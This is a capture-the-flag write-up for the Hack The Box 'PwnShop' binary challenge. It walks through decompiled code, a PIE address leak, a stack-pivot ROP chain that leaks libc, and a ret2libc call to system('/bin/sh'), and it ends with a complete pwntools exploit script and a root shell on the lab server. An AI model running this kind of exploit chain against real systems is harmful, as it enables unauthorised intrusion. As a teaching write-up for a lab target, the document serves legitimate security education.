PwnShop
-
pwn
Intro to Binary Exploitation htb-pwn piebase stack pivot ret2libc
- HTB Console.zip
hackthebox
Binary Info¶
$ file pwnshop
pwnshop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e354418962cffebad74fa44061f8c58d92c0e706, for GNU/Linux 3.2.0, stripped
$ checksec --file=pwnshop
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 pwnshop
- NX Enabled
- PIE Enabled
Function¶
undefined [16] FUN_001010a0(void)
{
int iVar1;
ulong in_RCX;
char cVar2;
FUN_0010121e();
puts("========= HTB PwnShop ===========");
while( true ) {
while( true ) {
puts("What do you wanna do?");
printf("1> Buy\n2> Sell\n3> Exit\n> ");
iVar1 = getchar();
getchar();
cVar2 = (char)iVar1;
if (cVar2 != '2') break;
FUN_0010126a();
}
if (cVar2 == '3') break;
if (cVar2 == '1') {
FUN_0010132a();
}
else {
puts("Please try again.");
}
}
return ZEXT816(in_RCX) << 0x40;
}
void FUN_0010126a(void)
{
int iVar1;
long lVar2;
undefined4 *puVar3;
byte bVar4;
undefined4 auStack72 [8];
undefined8 local_28;
undefined4 *local_20;
bVar4 = 0;
local_20 = &DAT_001040c0;
printf("What do you wish to sell? ");
local_28 = 0;
puVar3 = auStack72;
for (lVar2 = 8; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
read(0,auStack72,0x1f);
printf("How much do you want for it? ");
read(0,&local_28,8);
iVar1 = strcmp((char *)&local_28,"13.37\n");
if (iVar1 == 0) {
puts("Sounds good. Leave details here so I can ask my guy to take a look.");
puVar3 = local_20;
for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
read(0,local_20,0x40);
}
else {
printf("What? %s? The best I can do is 13.37$\n",&local_28);
}
return;
}
Run Program¶
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 1
Sorry, we aren't selling right now.
But you can place a request.
Enter details: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
zsh: segmentation fault ./pwnshop
$ uaaavaaawaaaxaaayaaa
uaaavaaawaaaxaaayaaa: command not found
$ cyclic -l uaaa
80
$ ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 2
What do you wish to sell? test
How much do you want for it? aaaabbbb
What? aaaabbbb��UUUU? The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
>
from running the program, we can get that buy has offset 80 character, and sell has vuln output strings aaaabbbb��UUUU
Idea¶
Leak binary address¶
from sell, we have local_20 = &DAT_001040c0; and read(0,&local_28,8); that we can exploit
string aaaabbbb��UUUU has vuln on ��UUUU, that the address of .bss(local_20) which is the next value of local_28

we need to get hex of ��UUUU, then substact with 0x40c0(local_28 offset address) so that we can get the piebase address
io.recv().decode()
io.sendline(b'2')
io.recv().decode()
io.sendline(b'test')
io.recv().decode()
leak_pad = b'a'*8
io.send(leak_pad)
resp = io.recv()
binary_offset = resp.split(leak_pad)[1]
binary_offset = binary_offset.split(b'?')[0]
binary_offset = bytearray(binary_offset).ljust(8, b'\x00')
binary_offset = u64(binary_offset, endian="little")
binary_offset -= 0x40c0 # got from local_20 = &DAT_001040c0;
print('piebase :',hex(binary_offset))
Leaking LIBC¶
from buy, we have buffer overflow 80 characters, we can use it for leaking the libc address.
we can add payload like image bellow, run in GDB and put break point at buy return so that we can know the process behind (not so necessary).
the main idea is print(puts) the libc address, we can use pop_rdi to store the parameter (got_puts) and call plt_puts. we use got_puts because it stores puts_libc address. buy function because we need to continue our program, we dont want to stop(segmentation fault) our program

$ ropper --file pwnshop --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: pwnshop
0x00000000000013c3: pop rdi; ret;
$ ropper --file pwnshop --search "sub"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: sub
[INFO] File: pwnshop
0x000000000000121a: sub esp, 0x28; ret;
0x00000000000013dd: sub esp, 8; add rsp, 8; ret;
0x0000000000001005: sub esp, 8; mov rax, qword ptr [rip + 0x2fd9]; test rax, rax; je 0x1016; call rax;
0x0000000000001219: sub rsp, 0x28; ret;
0x00000000000013dc: sub rsp, 8; add rsp, 8; ret;
0x0000000000001004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd9]; test rax, rax; je 0x1016; call rax;
we will use 0x13c3 as pop_rdi and 0x1219(to get more space in stack) as sub_rsp.
you can get got_puts, plt_puts, and buy_func offset from some tools like ghidra
pop_rdi = p64(binary_offset+0x13c3)
got_puts = p64(binary_offset+0x4018)
plt_puts = p64(binary_offset+0x1030)
buy_func = p64(binary_offset+0x132a)
padding_to_rop_chain = 40 * b'a' # 0x50(ret) - 0x28(sub rsp, 0x28; ret)
rop_chain = pop_rdi + got_puts + plt_puts + buy_func
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
sub_rsp = p64(binary_offset+0x1219) # sub rsp, 0x28; ret
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.sendline(b'1')
io.recv()
io.send(payload)
output = io.recv()
leaked_puts_libc = output[:6]
leaked_puts_libc = bytearray(leaked_puts_libc).ljust(8, b'\x00')
leaked_puts_libc = u64(leaked_puts_libc, endian="little")
print('puts@GLIBC :',hex(leaked_puts_libc))
this will print puts_libc address, then we need to find system and /bin/sh in libc, so that we can run buy again and redirect to system('/bin/sh')
Find offset in LIBC¶
after running the source code and comparing with remote does, we get
$ python get_flag.py
[+] Starting local process './pwnshop': pid 178594
piebase : 0x555555554000
puts@GLIBC : 0x7ffff7e47e10
$ python get_flag.py
[+] Opening connection to 159.65.19.24 on port 32300: Done
piebase : 0x558f796d4000
puts@GLIBC : 0x7f1baa0eb6a0
the offset is different, it happens because the libc we use can be different from the libc remote, so we need to check what libc remote is using.
https://libc.blukat.me/?q=puts%3A6a0, after trying we know that libc remote uses libc6_2.23-0ubuntu11.2_amd64
with that information, we can define the system and /bin/sh offset. then we can copy the appropriate offset
libc_puts = 0x06f6a0
libc_system = 0x0453a0
libc_sh = 0x18ce17
libc_offset = leaked_puts_libc - libc_puts
system = p64(libc_offset + libc_system)
print('system :', hex(u64(system)))
sh = p64(libc_offset + libc_sh)
print('/bin/sh :', hex(u64(sh)))
send the payload
rop_chain = pop_rdi + sh + system
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.send(payload)
io.interactive()
Exploit¶
$ python get_flag.py
[+] Opening connection to 159.65.19.24 on port 32300: Done
piebase : 0x5635239db000
puts@GLIBC : 0x7fc5098b46a0
system : 0x7fc50988a3a0
/bin/sh : 0x7fc5099d1e17
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$
Full Code¶
dont just copy paste, learning the basics is more important!
from pwn import *
def main():
url = "159.65.19.24"
port = 32300
io = remote(url, port)
# io = process('./pwnshop')
# Step 1: Leak binary address
io.recv().decode()
io.sendline(b'2')
io.recv().decode()
io.sendline(b'test')
io.recv().decode()
leak_pad = b'a'*8
io.send(leak_pad)
resp = io.recv()
binary_offset = resp.split(leak_pad)[1]
binary_offset = binary_offset.split(b'?')[0]
binary_offset = bytearray(binary_offset).ljust(8, b'\x00')
binary_offset = u64(binary_offset, endian="little")
binary_offset -= 0x40c0 # got from local_20 = &DAT_001040c0;
print('piebase :',hex(binary_offset))
# Step 2: Leaking LIBC
pop_rdi = p64(binary_offset+0x13c3)
got_puts = p64(binary_offset+0x4018)
plt_puts = p64(binary_offset+0x1030)
buy_func = p64(binary_offset+0x132a)
padding_to_rop_chain = 40 * b'a' # 0x50(ret) - 0x28(sub rsp, 0x28; ret)
rop_chain = pop_rdi + got_puts + plt_puts + buy_func
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
sub_rsp = p64(binary_offset+0x1219) # sup rsp, 0x28; ret
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.sendline(b'1')
io.recv()
io.send(payload)
output = io.recv()
leaked_puts_libc = output[:6]
leaked_puts_libc = bytearray(leaked_puts_libc).ljust(8, b'\x00')
leaked_puts_libc = u64(leaked_puts_libc, endian="little")
print('puts@GLIBC :',hex(leaked_puts_libc))
# print(output)
# Step 3: Find offset in LIBC
### Local
# libc_puts = 0x75e10
# libc_system = 0x49860
# libc_sh = 0x198882
### Remote (libc6_2.23-0ubuntu11.2_amd64)
libc_puts = 0x06f6a0
libc_system = 0x0453a0
libc_sh = 0x18ce17
libc_offset = leaked_puts_libc - libc_puts
system = p64(libc_offset + libc_system)
print('system :', hex(u64(system)))
sh = p64(libc_offset + libc_sh)
print('/bin/sh :', hex(u64(sh)))
# Step 4: Exploit
rop_chain = pop_rdi + sh + system
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.send(payload)
io.interactive()
if __name__ == '__main__':
main()